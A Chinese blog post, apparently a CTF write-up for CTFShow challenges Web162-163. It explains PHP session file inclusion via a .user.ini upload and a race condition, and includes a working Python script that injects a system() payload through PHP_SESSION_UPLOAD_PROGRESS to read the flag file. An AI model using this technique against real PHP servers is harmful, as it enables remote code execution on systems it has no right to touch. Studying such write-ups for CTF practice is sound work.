CTFShow-Web162-163:session包含与条件竞争

CTFShow-Web162-163:Session文件包含与条件竞争

相比于Web161,增加了对"."的过滤,无法使用文件包含,考虑session文件包含。

并且这两题中,上传的文件如果不符合要求,就会被删除,导致成功上传无法访问,所以需要用条件竞争。

session文件包含具体原理可参考:https://www.freebuf.com/vuls/202819.html

🛠️ Web162-163 解题步骤

  1. 上传 .user.ini 文件

    image-20250206162344004

    不能包含".",因此图片名改为了png

  2. 上传图片

image-20250206162445086

​ 与.user.ini 对应,图片名改为png

  1. 条件竞争脚本

    参考了yu22x的WriteUp:https://blog.csdn.net/miuzzx/article/details/109537262

    import requests
    import threading
    import re
    
    session = requests.session()
    sess = 'abc' # 之前上传时自拟的名字,对应图片内容中的sess_abc
    url1="http://fc1bae0b-e774-43a7-b562-aae27c31f298.challenge.ctf.show" # 注意修改
    url2="http://fc1bae0b-e774-43a7-b562-aae27c31f298.challenge.ctf.show/upload"
    data1 = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
    }
    file = {
        'file': 'abc'  #文件名,随便改就行
    }
    cookies = {
        'PHPSESSID': sess
    }
    
    
    def write(): # 上传文件竞争过程
        while True:
            r = session.post(url1, data=data1, files=file, cookies=cookies)
    
    
    def read():
        while True: # 每次竞争完都访问一下url/upload看有没有flag
            r = session.get(url2)
            if 'flag' in r.text:
                flag=re.compile('ctfshow{.+}') # flag格式匹配
                print(flag.findall(r.text))
    
    
    threads = [threading.Thread(target=write),
               threading.Thread(target=read)]
    for t in threads:
        t.start()
    
  2. 成功拿到flag

    image-20250206163032004
posted @ 2025-02-06 16:52  Zebra233  阅读(313)  评论(0)    收藏  举报